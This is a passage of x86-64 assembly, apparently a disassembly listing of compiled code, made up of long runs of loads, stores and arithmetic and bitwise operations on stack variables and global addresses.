mov rcx, qword [0x14019d988]
mov byte [rcx], al
movzx eax, word [rsp + 0x1334]
mov rcx, qword [0x14019db10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbdc], ax
mov rax, qword [rsp + 0xd030]
mov eax, dword [rax]
mov dword [rsp + 0x50e8], eax
mov eax, dword [rsp + 0x481c]
mov ecx, dword [rsp + 0x4a14]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd470]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1180]
mov word [rsp + 0x14c0], ax
mov rax, qword [0x14019d9d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16c]
sub eax, ecx
mov byte [rsp + 0x178], al
movzx eax, word [rsp + 0x1040]
mov rcx, qword [rsp + 0xc190]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xad68]
mov word [rcx], ax
mov rax, qword [rsp + 0xa9c0]
movzx eax, byte [rax]
mov byte [rsp + 0x2d2], al
mov eax, dword [rsp + 0x3a84]
mov ecx, dword [rsp + 0x4be4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5000], eax
mov rax, qword [rsp + 0xc258]
mov rcx, qword [rsp + 0xd6d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019c14c], eax
mov eax, dword [rsp + 0x4c7c]
mov dword [rsp + 0x50ec], eax
mov eax, dword [rsp + 0x5004]
mov ecx, dword [rsp + 0x49dc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb030]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa80]
mov eax, dword [rax]
mov dword [rsp + 0x50f0], eax
movzx eax, byte [rsp + 0x2a7]
mov rcx, qword [0x14019da10]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb978]
mov byte [rcx], al
movzx eax, word [rsp + 0x1354]
mov rcx, qword [rsp + 0xd680]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb758]
mov word [rcx], ax
mov rax, qword [rsp + 0xb6b0]
mov rcx, qword [rsp + 0xadf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3db4], eax
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xb0d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4558], eax
lea rax, [rsp + 0x3590]
mov qword [rsp + 0xdc50], rax
mov rax, qword [rsp + 0xbc88]
mov eax, dword [rax]
mov dword [0x14019e13c], eax
mov rax, qword [rsp + 0xb3a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaa58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x119], al
mov rax, qword [rsp + 0xd2e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x107c]
and eax, ecx
mov rcx, qword [rsp + 0xd0a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc5a0]
movzx eax, byte [rax]
mov byte [rsp + 0x2d3], al
mov rax, qword [0x14019d940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa928]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11b4], ax
lea rax, [rsp + 0x4f4c]
mov qword [rsp + 0xdc58], rax
mov rax, qword [rsp + 0xd430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4168]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48b4], eax
movzx eax, word [0x14019bfc8]
mov rcx, qword [rsp + 0xc550]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xab00]
mov word [rcx], ax
mov rax, qword [rsp + 0xc8d8]
movzx eax, byte [rax]
mov byte [rsp + 0x2d4], al
mov eax, dword [rsp + 0x49b0]
mov ecx, dword [rsp + 0x4290]
add ecx, eax
mov eax, ecx
mov dword [0x14019e138], eax
mov rax, qword [0x14019dd00]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb2e0]
mov dword [rcx], eax
lea rax, [rsp + 0x4990]
mov qword [rsp + 0xdc60], rax
mov rax, qword [rsp + 0xc058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ef0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb358]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1a3]
movzx ecx, byte [rsp + 0x280]
add eax, ecx
mov byte [rsp + 0x9a], al
lea rax, [rsp + 0x138c]
mov qword [rsp + 0xdc68], rax
mov rax, qword [rsp + 0xd1c0]
mov ecx, dword [rsp + 0x4624]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd728]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4df8]
mov dword [rsp + 0x50f4], eax
mov rax, qword [rsp + 0xbeb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x33b8]
shr eax, cl
mov dword [rsp + 0x50dc], eax
lea rax, [rsp + 0x5058]
mov qword [0x14019e140], rax
mov rax, qword [0x14019dc90]
mov eax, dword [rax]
mov dword [rsp + 0x50f8], eax
movsx eax, byte [rsp + 0x274]
mov rcx, qword [rsp + 0xd060]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1bc], al
mov rax, qword [rsp + 0xd618]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc010]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xba48]
mov word [rcx], ax
mov rax, qword [0x14019d860]
movzx eax, word [rax]
mov word [rsp + 0x14c4], ax
movzx eax, byte [rsp + 0x1c1]
movzx ecx, byte [rsp + 0x217]
shl eax, cl
mov byte [rsp + 0x1c9], al
mov eax, dword [rsp + 0x3ed4]
mov dword [rsp + 0x50fc], eax
mov rax, qword [rsp + 0xb068]
mov ecx, dword [0x14019c028]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd9e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16b]
add eax, ecx
mov byte [rsp + 0x1aa], al
mov rax, qword [rsp + 0xd568]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xde0]
add eax, ecx
mov word [0x14019c0fc], ax
mov eax, dword [rsp + 0x4234]
mov dword [rsp + 0x5100], eax
mov rax, qword [rsp + 0xab48]
mov ecx, dword [rsp + 0x3694]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4b9c], eax
mov rax, qword [rsp + 0xc168]
mov eax, dword [rax]
mov dword [rsp + 0x5104], eax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xa8a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5068], eax
mov rax, qword [rsp + 0xc328]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad18]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaf38]
mov byte [rcx], al
mov rax, qword [rsp + 0xd0d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc00], ax
mov rax, qword [rsp + 0xaa08]
mov rcx, qword [rsp + 0xcf78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xce70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3e4c]
mov dword [rsp + 0x5108], eax
lea rax, [rsp + 0x216]
mov qword [0x14019e148], rax
mov rax, qword [0x14019dae0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13d4]
sub eax, ecx
mov word [rsp + 0x1190], ax
movzx eax, word [rsp + 0x1200]
movzx ecx, word [rsp + 0x121c]
xor eax, ecx
mov rcx, qword [rsp + 0xb870]
mov word [rcx], ax
lea rax, [rsp + 0x264]
mov qword [rsp + 0xdc70], rax
mov rax, qword [rsp + 0xa428]
mov rcx, qword [rsp + 0xb858]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x46c0], eax
mov eax, dword [rsp + 0x4e68]
mov dword [rsp + 0x510c], eax
mov eax, dword [0x14019db58]
mov rcx, qword [rsp + 0xd338]
mov qword [rsp + 0xdc78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdc78]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x46b0], eax
lea rax, [rsp + 0x481c]
mov qword [rsp + 0xdc80], rax
mov rax, qword [rsp + 0xaa30]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbef0]
mov qword [rsp + 0xdc88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdc88]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4d44], eax
movzx eax, byte [rsp + 0x29e]
movzx ecx, byte [rsp + 0x1e1]
and eax, ecx
mov rcx, qword [rsp + 0xd528]
mov byte [rcx], al
movzx eax, word [rsp + 0x1328]
mov rcx, qword [rsp + 0xd6a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019e070], ax
mov rax, qword [rsp + 0xcc90]
mov eax, dword [rax]
mov dword [rsp + 0x5110], eax
mov rax, qword [0x14019da90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4704]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x39e4], eax
mov eax, dword [rsp + 0x4394]
mov dword [rsp + 0x5114], eax
mov eax, dword [rsp + 0x4a3c]
mov ecx, dword [rsp + 0x4418]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcde0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc6a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd8c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc520]
mov byte [rcx], al
movzx eax, word [rsp + 0xebc]
mov word [rsp + 0x14c8], ax
mov rax, qword [rsp + 0xd6c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2a0]
and eax, ecx
mov byte [rsp + 0x7b], al
mov rax, qword [0x14019de78]
movzx eax, word [rax]
mov word [rsp + 0x14cc], ax
lea rax, [rsp + 0x4f70]
mov qword [0x14019e150], rax
mov eax, dword [rsp + 0x41a0]
mov ecx, dword [rsp + 0x43e0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd390]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1b7]
movzx ecx, byte [0x14019bf16]
sub eax, ecx
mov byte [rsp + 0x18d], al
lea rax, [rsp + 0xf2c]
mov qword [rsp + 0xdc90], rax
mov rax, qword [rsp + 0xb4a0]
mov rcx, qword [rsp + 0xd628]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4260], eax
lea rax, [rsp + 0x3bc0]
mov qword [rsp + 0xdc98], rax
mov rax, qword [rsp + 0xc168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b04]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb198]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaaf8]
mov eax, dword [rax]
mov dword [rsp + 0x5118], eax
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0xd528]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x70], al
mov rax, qword [0x14019da48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb290]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14019d8f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3740]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b98], eax
mov rax, qword [rsp + 0xbae8]
mov eax, dword [rax]
mov dword [rsp + 0x511c], eax
mov rax, qword [rsp + 0xd110]
mov ecx, dword [rsp + 0x4434]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4fd4], eax
mov rax, qword [rsp + 0xaaf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4630]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x36ac], eax
mov rax, qword [rsp + 0xbf20]
mov rcx, qword [rsp + 0xc4e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcb38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xce50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1a8], al
mov rax, qword [rsp + 0xbf78]
movzx eax, word [rax]
mov word [rsp + 0x14d0], ax
mov rax, qword [rsp + 0xc288]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcbd0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd010]
mov word [rcx], ax
mov rax, qword [rsp + 0xcab0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e3]
sub eax, ecx
mov rcx, qword [0x14019de50]
mov byte [rcx], al
mov rax, qword [rsp + 0xc6e0]
mov eax, dword [rax]
mov dword [rsp + 0x5120], eax
mov rax, qword [rsp + 0xdbe0]
mov rcx, qword [rsp + 0xcc90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4fb0], eax
movzx eax, word [rsp + 0x1354]
mov rcx, qword [rsp + 0xcae8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcd50]
mov word [rcx], ax
mov rax, qword [rsp + 0xc0e8]
movzx eax, byte [rax]
mov byte [rsp + 0x2d5], al
mov rax, qword [rsp + 0xcbf0]
mov ecx, dword [rsp + 0x4f14]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcc28]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd988]
mov eax, dword [rax]
mov dword [rsp + 0x5124], eax
mov rax, qword [rsp + 0xbff0]
mov rcx, qword [rsp + 0xd660]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4da8], eax
mov rax, qword [rsp + 0xa858]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48f0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb4e0]
mov dword [rcx], eax
lea rax, [rsp + 0x296]
mov qword [0x14019e158], rax
lea rax, [rsp + 0x1384]
mov qword [rsp + 0xdca0], rax
mov rax, qword [0x14019da00]
mov rcx, qword [rsp + 0xc660]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4594], eax
lea rax, [rsp + 0x494c]
mov qword [rsp + 0xdca8], rax
movsx eax, byte [rsp + 0x192]
mov rcx, qword [rsp + 0xb710]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2ce], al
mov rax, qword [0x14019dfc0]
movzx eax, word [rax]
mov word [rsp + 0x14d4], ax
mov rax, qword [rsp + 0xcbc8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xabb0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x15b], al
movzx eax, word [rsp + 0x1314]
mov rcx, qword [0x14019df10]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1084], ax
mov rax, qword [rsp + 0xb528]
mov eax, dword [rax]
mov dword [rsp + 0x5128], eax
mov rax, qword [rsp + 0xd5c0]
mov ecx, dword [rsp + 0x3ca0]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019c044], eax
mov eax, dword [0x14019bf2c]
mov ecx, dword [rsp + 0x4470]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc348]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa988]
mov eax, dword [rax]
mov dword [rsp + 0x512c], eax
mov rax, qword [rsp + 0xd6d0]
mov ecx, dword [rsp + 0x509c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb3d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb130]
movzx eax, byte [rax]
mov rcx, qword [0x14019dea8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x258], al
lea rax, [rsp + 0x138c]
mov qword [rsp + 0xdcb0], rax
mov eax, dword [rsp + 0x38a0]
mov ecx, dword [rsp + 0x41f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43cc], eax
mov rax, qword [rsp + 0xaca8]
mov eax, dword [rax]
mov dword [rsp + 0x5130], eax
mov rax, qword [0x14019d9c0]
mov ecx, dword [rsp + 0x4850]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b90], eax
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d10]
sub ecx, eax
mov eax, ecx
mov dword [0x14019c150], eax
mov rax, qword [rsp + 0xc0f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x144c]
and eax, ecx
mov word [rsp + 0x1214], ax
lea rax, [rsp + 0x15d]
mov qword [rsp + 0xdcb8], rax
movsx eax, byte [rsp + 0x169]
mov rcx, qword [rsp + 0xd388]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x213], al
lea rax, [0x14019c004]
mov qword [rsp + 0xdcc0], rax
mov rax, qword [rsp + 0xd5b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4668]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x346c], eax
mov rax, qword [rsp + 0xd1e8]
mov ecx, dword [rsp + 0x4d08]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3524], eax
movzx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0xb990]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb100]
mov word [rcx], ax
movzx eax, byte [rsp + 0x19c]
movzx ecx, byte [rsp + 0x18b]
shl eax, cl
mov byte [rsp + 0x1f9], al
lea rax, [rsp + 0x47e4]
mov qword [0x14019e160], rax
lea rax, [rsp + 0x3624]
mov qword [rsp + 0xdcc8], rax
mov rax, qword [rsp + 0xbb58]
mov ecx, dword [rsp + 0x4484]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4a24], eax
mov eax, dword [rsp + 0x4a6c]
mov dword [rsp + 0x5134], eax
mov rax, qword [rsp + 0xcce0]
movzx eax, byte [rax]
mov rcx, qword [0x14019d7a0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x245], al
mov rax, qword [rsp + 0xc958]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc9e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb64], ax
mov rax, qword [rsp + 0xb5a8]
mov eax, dword [rax]
mov dword [rsp + 0x5138], eax
mov rax, qword [rsp + 0xaf80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5058]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc2a8]
mov dword [rcx], eax
lea rax, [rsp + 0x4a20]
mov qword [rsp + 0xdcd0], rax
mov rax, qword [rsp + 0xd9f8]
mov ecx, dword [rsp + 0x497c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14019dd60]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcaf0]
mov rcx, qword [rsp + 0xdb28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbde0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1a1]
movsx ecx, byte [rsp + 0x2b7]
add eax, ecx
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0xc1a0]
movzx eax, word [rax]
mov word [rsp + 0x14d8], ax
movzx eax, word [rsp + 0x111c]
mov rcx, qword [rsp + 0xaf98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb870]
mov word [rcx], ax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0xdcd8], rax
mov eax, dword [rsp + 0x419c]
mov ecx, dword [rsp + 0x4a4c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd988]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba98]
mov rcx, qword [rsp + 0xd990]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd4f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc7b8]
movzx eax, byte [rax]
mov byte [rsp + 0x2d6], al
lea rax, [rsp + 0x118c]
mov qword [0x14019e168], rax
mov rax, qword [rsp + 0xb6a0]
mov rcx, qword [rsp + 0xc9d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4afc], eax
lea rax, [rsp + 0x42a8]
mov qword [rsp + 0xdce0], rax
mov rax, qword [rsp + 0xcae0]
mov rcx, qword [rsp + 0xb3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xc588]
mov dword [rcx], eax
lea rax, [0x14019c0a8]
mov qword [rsp + 0xdce8], rax
movzx eax, byte [rsp + 0x176]
movzx ecx, byte [rsp + 0x25d]
sar eax, cl
mov byte [rsp + 0x2b1], al
movzx eax, word [rsp + 0xce0]
mov rcx, qword [rsp + 0xc6c0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x146c], ax
lea rax, [rsp + 0x47b0]
mov qword [rsp + 0xdcf0], rax
mov rax, qword [rsp + 0xa9d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4914], eax
mov rax, qword [rsp + 0xda58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x186]
sub eax, ecx
mov byte [0x14019bf2b], al
movzx eax, word [0x14019c0dc]
mov word [rsp + 0x14dc], ax
mov rax, qword [rsp + 0xc8d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdc70]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x25d], al
movzx eax, word [rsp + 0xfd8]
mov rcx, qword [rsp + 0xd0e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1388], ax
mov eax, dword [rsp + 0x4c1c]
mov dword [rsp + 0x513c], eax
mov rax, qword [rsp + 0xd718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4594], eax
mov rax, qword [rsp + 0xa8a0]
mov eax, dword [rax]
mov dword [rsp + 0x5140], eax
mov rax, qword [rsp + 0xd000]
mov ecx, dword [rsp + 0x4c6c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb530]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc378]
mov ecx, dword [rsp + 0x43cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c3c], eax
movzx eax, byte [rsp + 0x283]
mov byte [rsp + 0x2d7], al
movzx eax, word [0x14019c088]
mov rcx, qword [rsp + 0xc190]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019c154], ax
mov rax, qword [rsp + 0xcc98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a08]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd778]
mov dword [rcx], eax
lea rax, [rsp + 0x46ac]
mov qword [rsp + 0xdcf8], rax
mov rax, qword [rsp + 0xcc18]
mov rcx, qword [rsp + 0xc1c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc560]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb358]
mov ecx, dword [rsp + 0x41d0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x50b4], eax
mov rax, qword [rsp + 0xcd60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb460]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xa78], ax
mov rax, qword [rsp + 0xb778]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x198]
or eax, ecx
mov byte [rsp + 0x248], al
mov rax, qword [rsp + 0xc390]
movzx eax, byte [rax]
mov byte [rsp + 0x2d8], al
movsx eax, word [rsp + 0xe88]
movsx ecx, word [rsp + 0x1460]
xor eax, ecx
mov word [rsp + 0xcf4], ax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa568]
mov qword [rsp + 0xdd00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdd00]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14019c060], eax
mov eax, dword [rsp + 0x3c38]
mov dword [rsp + 0x5144], eax
movzx eax, word [0x14019e128]
mov rcx, qword [rsp + 0xc860]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1108], ax
mov rax, qword [rsp + 0xa930]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc290]
mov byte [rcx], al
lea rax, [rsp + 0x4f60]
mov qword [rsp + 0xdd08], rax
mov rax, qword [rsp + 0xbf90]
mov rcx, qword [rsp + 0xae00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd500]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4e3c]
mov dword [rsp + 0x5148], eax
mov rax, qword [rsp + 0xa6b8]
mov rcx, qword [0x14019e118]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4438], eax
mov rax, qword [rsp + 0xd0b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf10]
sub eax, ecx
mov word [rsp + 0x12ec], ax
lea rax, [rsp + 0x2d5]
mov qword [0x14019e170], rax
mov rax, qword [rsp + 0xc980]
mov eax, dword [rax]
mov dword [rsp + 0x514c], eax
mov rax, qword [0x14019df28]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc460]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc410]
mov eax, dword [rax]
mov dword [rsp + 0x5150], eax
mov eax, dword [rsp + 0x4204]
mov ecx, dword [rsp + 0x44e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc228]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4eb8], eax
movzx eax, word [rsp + 0xed8]
mov word [rsp + 0x14e0], ax
movsx eax, byte [rsp + 0x203]
mov rcx, qword [rsp + 0xc858]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbaf0]
mov byte [rcx], al
lea rax, [0x14019d7b5]
mov qword [rsp + 0xdd10], rax
movzx eax, word [rsp + 0x11cc]
mov rcx, qword [rsp + 0xaf98]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14019e050]
mov word [rcx], ax
mov rax, qword [rsp + 0xbca8]
mov ecx, dword [rsp + 0x382c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x425c], eax
mov rax, qword [0x14019db30]
mov eax, dword [rax]
mov dword [rsp + 0x5154], eax
movzx eax, word [rsp + 0xdd4]
movzx ecx, word [rsp + 0xb44]
sar eax, cl
mov word [rsp + 0x1040], ax
movzx eax, byte [rsp + 0x15b]
movzx ecx, byte [rsp + 0x1a2]
xor eax, ecx
mov byte [rsp + 0x1da], al
mov eax, dword [rsp + 0x4248]
mov dword [rsp + 0x5158], eax
mov eax, dword [rsp + 0x4760]
mov ecx, dword [rsp + 0x485c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdba8]
mov dword [rcx], eax
lea rax, [rsp + 0x5158]
mov qword [rsp + 0xdd18], rax
mov eax, dword [rsp + 0x4534]
mov ecx, dword [0x14019c08c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d60], eax
mov rax, qword [rsp + 0xccf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc5f0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14019dfa8]
mov byte [rcx], al
mov rax, qword [rsp + 0xada8]
movzx eax, word [rax]
mov rcx, qword [0x14019dbb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0xa4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4774]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c2c], eax
mov eax, dword [rsp + 0x4750]
mov ecx, dword [rsp + 0x45e0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4410], eax
lea rax, [0x14019d796]
mov qword [rsp + 0xdd20], rax
mov rax, qword [rsp + 0xd350]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfc8]
imul eax, ecx
mov word [rsp + 0xcf4], ax
movzx eax, word [rsp + 0x1040]
movzx ecx, word [0x14019c0e4]
add eax, ecx
mov word [rsp + 0xf60], ax
lea rax, [rsp + 0x17f]
mov qword [rsp + 0xdd28], rax
mov eax, dword [rsp + 0x4cc8]
mov ecx, dword [rsp + 0x4f40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ed8], eax
mov eax, dword [rsp + 0x45c4]
mov dword [0x14019e178], eax
mov rax, qword [rsp + 0xd1f8]
mov eax, dword [rax]
mov dword [rsp + 0x515c], eax
mov rax, qword [rsp + 0xb278]
mov ecx, dword [rsp + 0x34b4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbd98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa820]
